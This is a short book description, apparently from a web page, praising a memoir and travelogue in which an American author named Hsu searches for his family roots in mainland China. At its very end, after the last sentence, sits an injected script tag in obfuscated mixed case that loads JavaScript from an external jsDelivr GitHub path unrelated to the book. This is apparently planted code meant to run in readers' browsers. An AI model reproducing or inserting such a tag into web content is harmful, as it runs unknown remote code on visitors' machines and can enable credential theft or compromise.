Description:
The thoroughly American Hsu takes up his private obsession and begins a modern trek to rediscover his roots. This is a political history, art history, ethnography, autobiography and a touchingly humorous deep dive travelogue into a parallel universe of social and ideological peculiarities. Hsu is a sophisticated US citizen in an uncompromisingly strange land. Hsu is pumped to follow his journey through to the end. His excitement transfers to the reader. Hsu draws his reader into the story as a silent partner. Hsu's family is, well, not so enthused about it all. Perhaps it's better left to myth? Hsu's known mainland family isn't particularly helpful. That changes as he discovers whole new branches to the family tree.<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>
